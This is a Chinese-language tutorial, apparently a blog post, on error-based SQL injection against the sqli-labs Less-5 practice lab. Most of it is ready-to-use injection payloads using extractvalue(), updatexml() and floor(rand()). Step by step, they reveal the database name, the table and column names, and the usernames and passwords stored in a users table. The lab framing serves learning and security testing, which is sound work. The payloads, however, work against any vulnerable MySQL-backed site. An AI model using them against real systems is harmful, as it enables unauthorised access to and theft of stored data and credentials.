sql注入之报错注入

1.1 报错注入原理

报错注入的原理基于应用程序在处理数据库查询时产生的错误信息。当应用程序执行一个含有恶意SQL代码的查询时,如果查询出错(例如,由于语法错误或权限不足),数据库系统通常会返回一个错误信息给应用程序。这个错误信息可能会包含有关数据库结构的敏感信息,如数据库名称、表名、列名等。攻击者可以利用这些信息来进一步构建更复杂的SQL注入攻击,以获取更多的数据库内容。

1.2 报错注入靶场

http://192.168.1.24/sqli-labs/Less-5/

1.3 报错注入的函数

  1. extractvalue():这个函数是MySQL中用于对XML文档数据进行查询的XPath函数。当它的第二个参数不是一个合法的XPath表达式时,会引发错误,并可能返回包含攻击者所需信息的错误消息。

  2. updatexml():这也是MySQL的一个XML函数,用于改变(查找并替换)XML文档中符合条件的节点的值。当Xpath定位非法时,会引发错误,从而可能泄露数据库信息。

  3. floor():floor()函数是MySQL中用来取整的函数。在报错注入中,攻击者可能会构造特定的SQL语句,利用floor()函数的特性来触发错误,并从中获取数据库信息。

1.4 寻找注入点

发现没有了用户和ID的回显,只有"You are ing..",查看有无报错回显,找到闭合方式

有报错的回显。然后判断字段数

1.5 用order by判断字段数

复制代码
?id=1' order by 1,2,3--+
?id=1' order by 1,2,3,4--+

输入4的时候会报错,那就得到字段数为3

1.6 用union select 寻找注入点

复制代码
?id=1'  union select 1,2,3--+
?id=1'  union select 1,2,3,4--+

输入到3爆you are in

输入到4的时候报错

得到注入点在3

1.7 用extractvalue()函数爆数据库。

用extractvalue函数进行报错注入。

复制代码
爆破数据库
?id=1' or/and extractvalue(1,concat(0x7e,database()/(select database()),0x7e))--+

得到数据库名security

1.8 爆数据表

复制代码
爆破数据库表
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name)fro information_schema.tables where table_schema=database()),0x7e))--+

得到名为emails,referers,uagents,users的四个表

1.9 爆users表中的字段

复制代码
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e))--+

得到名为user_id,first_name,last_name,us,的字段

1.10 爆字段值

复制代码
?id=1' or extractvalue(1,concat(0x7e,(select username from users limit
0,1),0x7e))--+
?id=1' or extractvalue(1,concat(0x3e,(select group_concat(password) from
users),0x3e),1)--+

1.11 用updatexml()函数进行报错注入

复制代码
爆破数据库
?id=1' or/and updatexml(1,concat(0x7e,database()/(select database()),0x7e),1)--+
复制代码
爆破数据库表
?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name)from
information_schema.tables where table_schema=database()),0x7e),1)--+
复制代码
爆破字段
?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name)from
information_schema.columns where table_name='users'),0x7e),1)--+
复制代码
爆破数据内容
?id=1' or updatexml(1,concat(0x7e,(select password from users limit
0,1),0x7e),1)--+

1.12.通floor()函数进行报错注入,前提需要知道有多少字段数

复制代码
爆破数据库
?id=-1' union select 1,count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2))x
from information_schema.tables group by x--+
复制代码
爆破数据库表
?id=-1' union select 1,count(*),concat(0x7e,(select (table_name)from
information_schema.tables where table_schema=database() limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
复制代码
爆破字段
?id=-1' union select 1,count(*),concat(0x7e,(select (column_name)from
information_schema.columns where table_name='users' limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
复制代码
爆破数据库内容
?id=-1' union select 1,count(*),concat(0x7e,(select (username)from users limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
相关推荐
安全系统学习4 小时前
网络安全之SQL RCE漏洞
安全·web安全·网络安全·渗透测试
聚铭网络9 小时前
案例精选 | 某省级税务局AI大数据日志审计中台应用实践
大数据·人工智能·web安全
GLAB-Mary10 小时前
AI会取代网络工程师吗?理解AI在网络安全中的角色
网络·人工智能·web安全
galaxylove13 小时前
Gartner发布最新指南:企业要构建防御性强且敏捷的网络安全计划以平衡安全保障与业务运营
网络·安全·web安全
mooyuan天天21 小时前
DVWA靶场通关笔记-文件上传(Medium级别)
web安全·文件上传·文件上传漏洞·dvwa靶场·文件上传mime
速盾cdn1 天前
速盾:高防CDN还有哪些冷知识?
网络·web安全
m0_738120721 天前
玄机——某学校系统中挖矿病毒应急排查
网络·安全·web安全
浩浩测试一下10 天前
渗透测试指南(CS&&MSF):Windows 与 Linux 系统中的日志与文件痕迹清理
linux·运维·windows·安全·web安全·网络安全·系统安全
安全系统学习10 天前
【网络安全】DNS 域原理、危害及防御
算法·安全·web安全·网络安全·哈希算法
我看就这样吧11 天前
内网提权-脏牛提权(Metasploitable2)
web安全